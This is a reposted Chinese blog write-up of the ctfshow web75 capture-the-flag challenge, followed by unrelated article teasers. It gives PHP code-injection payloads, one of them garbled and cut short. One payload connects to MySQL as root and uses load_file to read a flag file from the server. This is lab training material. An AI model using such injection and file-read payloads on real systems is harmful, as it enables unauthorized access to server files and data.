ctfshow web75
开启环境:
先直接用伪协议获取 flag 位置
c=?>__toString().’ ‘);} exit(0); ?>
c=try {$dbh = new PDO(‘mysql:host=localhost;dbname=ctftraining’, ‘root’, ‘root’);foreach($dbh->query(‘select load_file(“/flag36.txt”)’) as $row){echo($row[0]).”|”; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO(‘mysql:host=localhost;dbname=ctftraining’, ‘root’, ‘root’);
# 在 MySQL 中，load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query(‘select load_file(“/flag36.txt”)’) as $row) {
echo($row[0]).”|”;
}
$dbh = null;
}
catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);
本文来自网络，不代表协通编程立场，如若转载，请注明出处：https://net2asp.com/b0c7558a2c.html
相关推荐
-
如何从视频中提取高清图片？可以这样截取
如何从视频中提取高清图片？从视频中提取高清图片可以方便我们制作各种用途所需的素材，如海报、社交媒体配图等。此外，高清图片的细节和色彩也更丰富，可以更好地满足我们的视觉需求。从视频中…
-
jquery的9大选择器
1. 基本选择器 基本选择器是JQuery最常用的选择器，也是最简单的选择器，它通过元素id、class和标签名来查找DOM元素（在网页中id只能使用一次，class允许重复使用…
-
使用orangepi玩linux
最近看了这个大佬的文章，写了使用远程来挂载linux的方案，觉得还是很有意思的，瞬间感觉linux这块都还是相通的，就跑了一下，果然，牛逼！ 香橙派全志H3烧录Uboot，远程加载…
-
《动手学深度学习(PyTorch版)》笔记4.6
注：书中对代码的讲解并不详细，本文对很多细节做了详细注释。另外，书上的源代码是在Jupyter Notebook上运行的，较为分散，本文将代码集中起来，并加以完善，全部用vscod…
-
Python 中的 SOLID 原则
💂 个人网站:【 海拥】【神级代码资源网站】【办公神器】 🤟 基于Web端打造的：👉轻量化工具创作平台 💅 想寻找共…
-
数据可视化 pycharts实现中国各省市地图数据可视化
自用版 数据格式如下： 运行效果如下： import pandas as pd from pyecharts.charts import Map, TreeMap, Timelin…
-
使用Postman做API自动化测试
Postman最基本的功能用来重放请求，并且配合良好的response格式化工具。 高级点的用法可以使用Postman生成各个语言的脚本，还可以抓包，认证，传输文件。 仅仅做到这些…
-
力扣经典题目：循环队列
1.虽然是循环队列，但需要提供一个队列为满的情况，所以，要设立一个空的队列元素，当最后一个元素的next指针加一等于第一个元素的时候为满 2.可以增加一个size记录元素个数，当s…
-
【ArcGIS微课1000例】0100：ArcGIS for CAD软件下载与安装（附安装包）
ArcGIS for CAD软件下载与安装（附安装包）。 文章目录 一、ArcGIS for CAD概述 1. ArcGIS for CAD介绍 2. 主要功能 二、ArcGIS …
-
【Java】初识Spring Mvc
SpringMVC_day01 今日内容 理解SpringMVC相关概念 完成SpringMVC的入门案例 学会使用PostMan工具发送请求和数据 掌握SpringMVC如何接收…
